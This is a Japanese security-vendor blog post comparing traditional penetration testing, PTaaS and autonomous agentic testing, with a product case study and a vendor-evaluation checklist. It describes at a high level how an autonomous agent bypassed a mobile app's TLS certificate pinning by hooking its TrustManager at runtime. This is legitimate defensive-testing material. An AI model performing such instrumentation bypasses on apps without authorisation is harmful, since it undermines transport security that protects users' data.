&lt;p&gt;誤った答えは、誤った二者択一から始まります。これらの選択肢は、同じものを指しているわけではありません。&lt;/p&gt;
&lt;p&gt;従来型ペネトレーションテストは、人間が主導する評価を指します。PTaaSは、テストが時間をかけてどのように提供・管理されるかを指します。エージェント型および自律型テストは、テストの最中にシステムがどのように判断を下すかを指します。成熟したセキュリティプログラムは、この3つすべてを使うことができます。&lt;/p&gt;
&lt;p&gt;有用な問いは「AIはペンテスターを置き換えられるか」ではありません。それは「どの作業を継続的に実行すべきか、どの作業に人間の調査員が必要か、そしてエンジニアリングが動く前に、いずれもどのようなエビデンスを生み出すべきか」です。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;直接的な答え：&lt;/strong&gt;自律型ペンテストは、エージェント型のフィードバックループを用いて、速いリリースサイクルにわたって技術的な脆弱性を継続的に発見し、悪用し、検証します。ただし、それは人間のペネトレーションテスターを置き換えるものではありません。成熟したエンタープライズのAppSecプログラムは、ベースラインとなる技術的カバレッジのための継続的な自律エージェントを、複雑なビジネスロジック、カスタムアーキテクチャの評価、そして微妙なリスクの判断のための人間の専門家と組み合わせます。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2 id="従来型ペンテスト、ptaas、エージェント型テストの違いは何か"&gt;従来型ペンテスト、PTaaS、エージェント型テストの違いは何か&lt;/h2&gt;
&lt;p&gt;セキュリティチームはしばしば、異なる軸に属するカテゴリーを比較しています。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;従来型ペネトレーションテスト&lt;/strong&gt;は、通常、スコープを定め、期間を区切った作業です。人間のチームが環境を調べ、攻撃経路をテストし、検出結果を検証し、レポートを提供します。組織が、重要なリリース、カスタムアーキテクチャ、あるいは影響の大きいビジネスプロセスについて深い評価を必要とする場合、これは依然として有効です。&lt;a href="https://csrc.nist.gov/pubs/sp/800/115/final"&gt;NIST SP 800-115は、この古典的な段階的評価とレポートのモデルを概説しています。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;サービスとしてのペネトレーションテスト（PTaaS）&lt;/strong&gt;は、提供と運用のモデルです。通常、スコープの設定、検出結果、修復、レポート、再テストのための永続的なプラットフォームを追加します。PTaaSの作業は、人間主導、AI支援型、あるいはハイブリッドであり得ます。ポータルを通じて実行されるというだけで、自律型になるわけではありません。&lt;a href="https://www.synack.com/learning-center/what-is-ptaas/"&gt;SynackもPTaaSの定義で同じ区別をしています。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;エージェント型テスト&lt;/strong&gt;は、適応的なループを指します。固定されたチェックリストだけを実行するのではなく、システムは結果を観測し、次の仮説を立て、許可された操作やツールを選び、エビデンスを検査し、方向を変えることができます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;自律型テスト&lt;/strong&gt;は、そのモデルのうち自律性が高い側の端に位置します。システムは、操作ごとの承認なしに、テストの手順のより多くを決定しますが、それは明示的な境界の範囲内に限られます。OWASPの自律型ペネトレーションテスト標準は、これをスケジュールされたスキャンと区別しています。すなわち、何の判断も下さない事前設定済みのスキャンは、自律型テストではありません。&lt;a href="https://owasp.org/APTS/standard/Introduction.html"&gt;そのガイダンスはまた、スコープの強制、安全性の制御、説明責任を中心的な要件としています。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;これにより、セキュリティリーダーには、一つではなく二つの判断が課されます。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;実行モデル&lt;/th&gt;
&lt;th&gt;プロジェクト型の作業&lt;/th&gt;
&lt;th&gt;繰り返しまたは継続的なサービス&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;人間主導の実行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;従来型ペンテスト&lt;/td&gt;
&lt;td&gt;人間主導のPTaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AI支援型の実行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;AIで加速されるコンサルタント主導の作業&lt;/td&gt;
&lt;td&gt;AI支援型のPTaaS&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;エージェント型または自律型の実行&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;対象を絞った、境界を定めた調査&lt;/td&gt;
&lt;td&gt;継続的なエージェント型テストのプラットフォーム&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;正しいモデルは、ベンダーのホームページ上のラベルではなく、リスク、リリースの頻度、そして必要とされるエビデンスに依存します。&lt;/p&gt;
&lt;h2 id="自律型ペンテスト対従来型ペンテスト対ptaas:機能の比較"&gt;自律型ペンテスト対従来型ペンテスト対PTaaS：機能の比較&lt;/h2&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;問い&lt;/th&gt;
&lt;th&gt;プロジェクト型の人間によるペンテスト&lt;/th&gt;
&lt;th&gt;継続的な人間主導のPTaaS&lt;/th&gt;
&lt;th&gt;継続的なエージェント型テスト&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;いつ実行されるか&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;定められた間隔で&lt;/td&gt;
&lt;td&gt;要求されたとき、または定められたとき&lt;/td&gt;
&lt;td&gt;リリース後、またはその他の承認されたトリガーの後&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;誰がテストを実施するか&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;人間のペンテスター&lt;/td&gt;
&lt;td&gt;共有プラットフォームを使う人間のペンテスター&lt;/td&gt;
&lt;td&gt;人間の監督を伴う自律エージェント&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;最も適した用途&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;複雑なビジネスロジックと新規の攻撃経路&lt;/td&gt;
&lt;td&gt;人間の専門知識への繰り返しのアクセス&lt;/td&gt;
&lt;td&gt;頻繁なリリースにわたる再現可能なテスト&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;主な限界&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;特定時点のカバレッジしか提供しない&lt;/td&gt;
&lt;td&gt;依然としてテスターの稼働可能性に依存する&lt;/td&gt;
&lt;td&gt;すべてのビジネスリスクを独立して判断することはできない&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AppSecにおける最適な役割&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;深い調査&lt;/td&gt;
&lt;td&gt;繰り返しの専門家によるテスト&lt;/td&gt;
&lt;td&gt;継続的なセキュリティのベースライン&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;この表はスコアカードではありません。自動化されたシステムは素早く着手できますが、それでも弱いエビデンスしか生み出さないことがあります。人間のチームは微妙な悪用のケースを見つけられますが、リリースのたびにすべてのワークフローを継続的に再実行することはできません。目標は、各レイヤーに、その強みに合った作業を割り当てることです。&lt;/p&gt;
&lt;h2 id="自律型のエージェント型テストが構造的な優位性を持つのはどこか"&gt;自律型のエージェント型テストが構造的な優位性を持つのはどこか&lt;/h2&gt;
&lt;h3 id="作業と作業の間の継続的なカバレッジ"&gt;作業と作業の間の継続的なカバレッジ&lt;/h3&gt;
&lt;p&gt;アプリケーションは、年次のテストカレンダーよりも頻繁に変化します。新しいAPIが現れ、認証フローが進化し、モバイルのリリースがSDKを追加し、修正された問題が後のビルドで再発することもあります。&lt;/p&gt;
&lt;p&gt;エージェント型テストは、信頼できるトリガー（リリース、重大なAPIの変更、新しいアセット、あるいは修復のデプロイ）が発生するたびに実行すべき、再現可能な作業によく適しています。それは、以前のコンテキストを保持し、既知の経路を再度実行し、変化したものへと注意を向けることができます。&lt;/p&gt;
&lt;p&gt;とはいえ、すべてのテストが同じように安全に自動化できるわけではありません。システムが動く前に、組織はスコープ、許可される手法、影響のしきい値、レート制限、エスカレーションの条件を定義しなければなりません。重要な区別は「手放し」対「手動」ではありません。それは、境界を定めた監査可能な自動化と、広範なアクセス権を持つ統制されていないエージェントとの違いです。&lt;/p&gt;
&lt;h3 id="再現可能なapiと認証済みワークフローの調査"&gt;再現可能なAPIと認証済みワークフローの調査&lt;/h3&gt;
&lt;p&gt;現代のアプリケーションは、Webクライアント、モバイルアプリ、API、サードパーティとの連携、ソースコードにわたってリスクを露出します。エージェント型のプラットフォームは、傍受したトラフィック、APIの定義、アプリケーションのクライアント、承認されたテスト用のアイデンティティからのシグナルをまとめ、そこから得られるフローを再実行する助けになります。&lt;/p&gt;
&lt;p&gt;これにより、APIの検出と認可のテストをより体系的にできます。ただし、どちらの問題も解決されるわけではありません。見逃したエンドポイント、不完全なロールモデル、非現実的なテストデータは、依然として誤った安心感を生み出すことがあります。OWASPのAPIテストのガイダンスは、検出を複数ソースのプロセスとして扱い、認可に関する結論が、正しいエンドポイント、アイデンティティ、経路がテストされることに依存すると警告しています。&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-API_Reconnaissance"&gt;OWASPのAPI偵察ガイダンスを参照してください。&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="運用速度でのエビデンスの取得"&gt;運用速度でのエビデンスの取得&lt;/h3&gt;
&lt;p&gt;コードの中にセキュリティ制御を見つけても、それが実行時に機能することは実証されません。そして、検証されていないアラートを指摘することは、AppSecとエンジニアリングの間に摩擦を生みます。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Ostorlab Agentic Deep Scan&lt;/a&gt;によって評価された、匿名化されたある作業では、あるエンタープライズのモバイルアプリケーションが、中核となる取引APIを保護するためにカスタムのTLS証明書ピンニングを実装していました。静的アナライザーは、その検証ロジックの存在を安全であると判定した一方、従来のDASTスキャナーは、証明書が一致しないと単に停止してしまいました。&lt;/p&gt;
&lt;p&gt;静的な想定やあてずっぽうのファジングに頼る代わりに、Ostorlabの自律エージェントは、管理されたテスト端末上でクライアントバイナリをリバースし、アプリケーションの実行時のTrustManagerに対して直接、自律的な&lt;strong&gt;差分検証テスト&lt;/strong&gt;を実行しました。&lt;/p&gt;
&lt;table class="table table-striped"&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style="text-align: left;"&gt;テスト実行（同一の信頼されない証明書チェーン）&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実行ロジック&lt;/th&gt;
&lt;th style="text-align: left;"&gt;実行時の結果&lt;/th&gt;
&lt;th style="text-align: left;"&gt;結論&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;実行A（ベースラインの対照）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;信頼されないテスト証明書を用いて、アプリケーションの未改変のTrustManagerを直接呼び出し&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;THREW CertificateException (Hostname Mismatch)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;ピンニングの制御は実際に強制されている&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style="text-align: left;"&gt;&lt;strong&gt;実行B（自律的な動的バイパス）&lt;/strong&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;証明書検証のエントリーポイントに注入された自律的な動的計装&lt;/td&gt;
&lt;td style="text-align: left;"&gt;&lt;code&gt;SUCCESS (0 Exceptions thrown)&lt;/code&gt;&lt;/td&gt;
&lt;td style="text-align: left;"&gt;制御はフック可能であり、バイパスされた&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&amp;boxdr;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxdl;
&amp;boxv;                           AUTONOMOUS DIFFERENTIAL RUNTIME PROOF                                  &amp;boxv;
&amp;boxur;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxh;&amp;boxul;

   Target TrustManager &amp;boxh;&amp;boxh;► [Run A: Baseline] &amp;boxh;&amp;boxh;► Throws CertificateException (Control holds)
                       &amp;boxh;&amp;boxh;► [Run B: Bypass]   &amp;boxh;&amp;boxh;► Dynamic Hook Injected &amp;boxh;&amp;boxh;► Success (Defect verified)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="再現可能な差分実行のエビデンスを表示するOstorlab Agentic Deep Scanの検出結果カード" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-09-04_autonomous_pentesting/differential-proof-finding.png" title="Ostorlab Agentic Deep Scanの差分検証"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Ostorlab Agentic Deep Scanの差分検証&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;図1：機械で検証可能な差分の実証を示す、サニタイズ済みのOstorlab Agentic Deep Scanの検出結果カード。機密性の高いクライアントの識別子、チケット、パッケージ名は伏字にしてあります。&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;実行Aと実行Bの差は、推測したり、仮説を立てたり、ネットワークトラフィックを捏造したりすることなく、その制御がメモリ上で突破され得るという決定論的な実証を提供します。AppSecのリーダーにとって、これは誤検知を排除し、開発者に、根本原因を修正するための否定しようのない再現トレースを与えます。&lt;/p&gt;
&lt;p&gt;そのエビデンスも、依然としてレビューが必要です。強力なセキュリティプログラムは、その検出結果がスコープ内か、その実証が主張されたビジネスへの影響を裏付けるか、そして修正された制御が再テストの際に機能するかを問います。&lt;/p&gt;
&lt;h3 id="スキャンからappsecの運用モデルへ"&gt;スキャンからAppSecの運用モデルへ&lt;/h3&gt;
&lt;p&gt;継続的なテストは、各リリースをセキュリティのチェックポイントに変えます。Ostorlabは、新しいアプリケーションのバージョンを検出すると、関連するテストを起動し、検証済みの検出結果に再現可能なエビデンスを添付し、それらを修復のワークフローに振り分け、修正されたビルドを再テストすることができます。&lt;/p&gt;
&lt;p&gt;このプラットフォームは、このプロセスを、アタックサーフェス検出、アセットインベントリ、スキャンプロファイル、開発ツールとの連携に接続します。また、ローカル、クラウド、ハイブリッドのOXOランタイム、そしてCIスキャンもサポートします。&lt;a href="https://docs.ostorlab.co/"&gt;Ostorlabのドキュメントを見る。&lt;/a&gt; &lt;a href="https://oxo.ostorlab.co/docs/manual/scan"&gt;OXOランタイムを見る。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;このプロセスは、発見から検証までの経路を短縮しつつ、コンテキストを要する判断にはエンジニアを関与させ続けます。自動化はカバレッジと一貫性を提供し、セキュリティチームはリスクの受容、優先順位付け、修復に対する制御を保ち続けます。&lt;/p&gt;
&lt;h2 id="人間のペネトレーションテスターが依然として主導するのはどこか"&gt;人間のペネトレーションテスターが依然として主導するのはどこか&lt;/h2&gt;
&lt;h3 id="ビジネスのコンテキストと意図的な曖昧さ"&gt;ビジネスのコンテキストと意図的な曖昧さ&lt;/h3&gt;
&lt;p&gt;最も価値のある失敗は、多くの場合、欠けているパッチや露出したエンドポイントではありません。それは、曲げられるポリシー、悪用に報いるワークフロー、あるいはその影響がHTTPレスポンスでは得られないコンテキストに依存するビジネスルールです。&lt;/p&gt;
&lt;p&gt;経験豊富なテスターは、技術的な挙動の背後にある、居心地の悪い問いを投げかけることができます。すなわち「動機を持った顧客、パートナー、あるいはインサイダーは、ここで何を試みるだろうか」という問いです。彼らは、想定に異議を唱え、ステークホルダーに聞き取りを行い、最初の経路が失敗したときに目的を変えることができます。エージェント型システムはその作業を支援できますが、ビジネスの意図や組織のリスクを解釈する人間の必要性を取り除くわけではありません。&lt;/p&gt;
&lt;h3 id="アーキテクチャ、人、そして物理世界"&gt;アーキテクチャ、人、そして物理世界&lt;/h3&gt;
&lt;p&gt;アーキテクチャのレビューには、トレードオフについての判断が必要です。すなわち、信頼境界、運用上の障害モード、レガシーの制約、そして提案された制御がもたらす結果です。レッドチームの作業には、ソーシャルエンジニアリング、現地でのアクセス、複数チームの調整が含まれることもあります。これらは、自律型ペンテストの売り込みの中で隠すべきギャップではありません。これらは、明示的な認可、専門的なスキル、そして人間の説明責任を必要とする、独立した専門領域です。&lt;/p&gt;
&lt;h3 id="影響の大きい判断"&gt;影響の大きい判断&lt;/h3&gt;
&lt;p&gt;ある操作が破壊的、あるいは重大になるほど、人間の監督がより重要になります。OWASPのAPTSフレームワークがここで有用なのは、それが自律性の増大を、マーケティング上の成熟度のはしごではなく、制御義務の増大として扱うからです。&lt;a href="https://owasp.org/APTS/standard/4_Graduated_Autonomy/"&gt;その自律性モデルは、より高い独立した行動を、より強力な承認、安全性、監査の要件と対にしています。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;CRESTによる業界ガイダンスも同様に、AIをセキュリティテストに組み込むことは、監視されていない自律性ではなく、定められた実務者の監督、説明責任、倫理的なガードレールを要求すると強調しています。&lt;a href="https://www.crest-approved.org/ai-in-penetration-testing/"&gt;ペネトレーションテストにおけるAIに関するCRESTのガイダンスを参照してください。&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;研究も同じ方向を指しています。33タスクのAutoPenBench評価では、自律型のアーキテクチャは21%の成功率を達成し、人間支援型のアーキテクチャは64%を達成しました。これらの結果は、あらゆる製品やあらゆるエンタープライズ環境を計測するものではありません。しかしそれらは、ベンチマークの結果を、自律エージェントがすでに人間のペンテスターと同等であるという主張に変換すべきでない理由を示しています。&lt;a href="https://aclanthology.org/2025.emnlp-industry.114/"&gt;AutoPenBenchの論文を読む。&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="セキュリティリーダーは、自律型ペンテストやptaasのベンダーをどう評価すべきか"&gt;セキュリティリーダーは、自律型ペンテストやPTaaSのベンダーをどう評価すべきか&lt;/h2&gt;
&lt;p&gt;PTaaSのプロバイダーやエージェント型テストのプラットフォームを評価する際には、成功したデモのエクスプロイトだけでなく、制御とエビデンスの実演を求めてください。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;実証を見せてもらう。&lt;/strong&gt;システムは、もっともらしいエクスプロイトの物語を提示するのではなく、実行時の影響を実証できるか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;制御を見せてもらう。&lt;/strong&gt;スコープ、レート制限、操作の許可リスト、停止条件は、モデルの外側で強制されているか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;失敗した経路を見せてもらう。&lt;/strong&gt;最初の仮説が失敗したときにシステムは適応できるか、そしてオペレーターは、なぜそれが停止したのかを見られるか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再現を見せてもらう。&lt;/strong&gt;エンジニアは、レポートをリバースエンジニアリングすることなく、エビデンスから検出結果を再現できるか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;再テストを見せてもらう。&lt;/strong&gt;チームは、影響を受けたビルドで修正を検証し、その結果を保持できるか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;人間への引き継ぎを見せてもらう。&lt;/strong&gt;誰が重要な検出結果をレビューし、リスクの高い操作を承認し、エスカレーションを担うのか。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;パイロットを自社で計測する。&lt;/strong&gt;トリアージまでの時間、重複した検出結果、検証済みの検出結果、重要なワークフローのカバレッジ、見逃した既知の問題、そして修正から再テストまでの時間を追跡する。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;多くのカテゴリーに関する主張が破綻するのは、まさにここです。速度が重要なのは、結果が信頼できる場合に限られます。カバレッジが重要なのは、重要なワークフローが実際に実行された場合に限られます。自律性が重要なのは、組織がそれを制御し監査できる場合に限られます。&lt;/p&gt;
&lt;h2 id="エンタープライズのappsecプログラムは、自律型テスト、ptaas、手動ペンテストをどうバランスさせるべきか"&gt;エンタープライズのAppSecプログラムは、自律型テスト、PTaaS、手動ペンテストをどうバランスさせるべきか&lt;/h2&gt;
&lt;p&gt;5,000人規模のエンタープライズにとって、最良のプログラムが、単一の万能なテストモデルを購入することはめったにありません。&lt;/p&gt;
&lt;p&gt;変化するアプリケーションとAPIにわたって検証済みのベースラインを維持するには、継続的なエージェント型テストを使ってください。繰り返しの人間の専門知識、検出結果の管理、再テストをより運用しやすくするには、PTaaSを使ってください。創造的な判断を要するワークフロー、アーキテクチャ、敵対的な目的のためには、専門家による人間のテストを取っておいてください。&lt;/p&gt;
&lt;p&gt;このポートフォリオはまた、人間のテスターにより良い出発点を与えます。最初の数日をエンドポイント、認証フロー、すでに検証済みの制御の再発見に費やす代わりに、彼らは、自らの経験を最も必要とするシステムの部分に集中できます。&lt;/p&gt;
&lt;h2 id="要点:なぜ現代のappsecには自律エージェントと人間のテスターの両方が必要なのか"&gt;要点：なぜ現代のAppSecには自律エージェントと人間のテスターの両方が必要なのか&lt;/h2&gt;
&lt;p&gt;エージェント型テストは、セキュリティテストをより継続的で、再現可能で、エビデンス主導のものにできます。人間のテスターは、コンテキスト、創造性、説明責任、そして事前承認されたワークフローに収まらないリスクのために、依然として欠かせません。&lt;/p&gt;
&lt;p&gt;最も強力なAppSecプログラムは、その両方を使います。それらはベースラインを自動化し、実証できるものを実証し、依然として判断を要する問いには人間の専門知識を持ち込みます。&lt;/p&gt;
&lt;p&gt;エビデンス主導の継続的なアプリケーションセキュリティテストが、実際にどのようなものかをご覧になりたいですか。&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Ostorlab Agentic Deep Scanを見る。&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="よくある質問(faq)"&gt;よくある質問（FAQ）&lt;/h2&gt;
&lt;h3 id="自律型ペンテストは、人間のペネトレーションテスターを置き換えられるか"&gt;自律型ペンテストは、人間のペネトレーションテスターを置き換えられるか&lt;/h3&gt;
&lt;p&gt;いいえ。自律型ペンテストは、反復的なアタックサーフェスの列挙、定型的な脆弱性の検証、そしてCI/CDのビルドにわたるリグレッションの再テストを扱うよう設計されています。微妙なビジネスの意図を理解し、アーキテクチャのレビューを行い、横断的な創造性を要する複雑で多段階の攻撃シナリオを実行するには、依然として人間のテスターが必要です。&lt;/p&gt;
&lt;h3 id="自律型ペネトレーションテストは、レガシーなdastスキャナーとどう異なるのか"&gt;自律型ペネトレーションテストは、レガシーなDASTスキャナーとどう異なるのか&lt;/h3&gt;
&lt;p&gt;従来の動的アプリケーションセキュリティテスト（DAST）は、事前設定された線形のリクエストパターンに従い、アプリケーションの状態を認識しないために高い誤検知率を生み出します。自律型のエージェント型テストは、フィードバックループを用いて実行時のアプリケーションのレスポンスを観測し、対象を絞ったテストロジックを動的に注入し、悪用可能性の決定論的な実証（メモリ上の差分実行トレースなど）を生み出します。&lt;/p&gt;
&lt;h3 id="自律型ペネトレーションテストは、soc 2やiso 27001のようなコンプライアンスフレームワークで受け入れられるか"&gt;自律型ペネトレーションテストは、SOC 2やISO 27001のようなコンプライアンスフレームワークで受け入れられるか&lt;/h3&gt;
&lt;p&gt;はい、ただし検証可能な実証を生み出し、文書化された実務者の監督を維持する場合に限ります。OWASP APTSやCRESTのような標準は、コンプライアンスの監査人が、最初のペイロードをAIエージェントが送出したのか手動のコンサルタントが送出したのかではなく、エビデンスの品質、スコープ、再現性を評価することを強調しています。&lt;/p&gt;
&lt;h3 id="自律型ペンテストのプラットフォームは、本番環境でのサービス停止をどう防ぐのか"&gt;自律型ペンテストのプラットフォームは、本番環境でのサービス停止をどう防ぐのか&lt;/h3&gt;
&lt;p&gt;エンタープライズの自律型プラットフォームは、安全性の境界をLLMモデルの外側で強制します。これらの制御には、厳格なレート制限、操作の許可リスト、制限された破壊的コマンド、そして厳密なスコープの境界が含まれ、スキャンが本番環境のサービスを劣化させないことを保証します。&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="出典"&gt;出典&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://owasp.org/APTS/standard/"&gt;OWASP自律型ペネトレーションテスト標準&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/12-API_Testing/01-API_Reconnaissance"&gt;OWASP Web Security Testing Guide：API Reconnaissance&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.synack.com/learning-center/what-is-ptaas/"&gt;Synack：サービスとしてのペネトレーションテスト（PTaaS）とは何か&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.crest-approved.org/ai-in-penetration-testing/"&gt;CREST：ペネトレーションテストにおけるAI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://aclanthology.org/2025.emnlp-industry.114/"&gt;AutoPenBench：生成エージェントのための脆弱性テストベンチマーク&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://csrc.nist.gov/pubs/sp/800/115/final"&gt;NIST SP 800-115：情報セキュリティのテストと評価に関する技術ガイド&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Security"/><category term="Penetration Testing"/><category term="AI Pentest"/><category term="Autonomous Pentesting"/><category term="PTaaS"/><category term="AppSec"/><category term="Agentic AI"/></entry><entry><title>Multi-Asset Deep Agentic Scanのご紹介：アプリケーション全体をつなぐテスト</title><link href="https://blog.ostorlab.co/ja/ostorlab-multi-asset-deep-agentic-scan.html" rel="alternate"/><published>2026-09-02T10:00:00+02:00</published><updated>2026-09-02T10:00:00+02:00</updated><author><name>Abir Jelti</name></author><id>tag:blog.ostorlab.co,2026-09-02:/ja/ostorlab-multi-asset-deep-agentic-scan.html</id><summary type="html">&lt;p&gt;Multi-Asset Deep Agentic Scanは、関連するモバイル・Web・API・ネットワーク・ソースコード・ドキュメントのアセットを、つながった一つのエージェント型調査で評価します。&lt;/p&gt;</summary><content type="html">&lt;p&gt;ある組織のアーキテクチャドキュメント、APIスキーマ、モバイルアプリケーション、バックエンドのソースコード、そして稼働中のWebサービスへのアクセスを、同じ一つの評価の中で与えられた自律型のセキュリティエージェントを想像してみてください。&lt;/p&gt;
&lt;p&gt;そのエージェントが、つながった一つのワークフローの中で5つのアセット境界すべてにまたがって調査すると、何が起きるかを以下に示します。&lt;/p&gt;
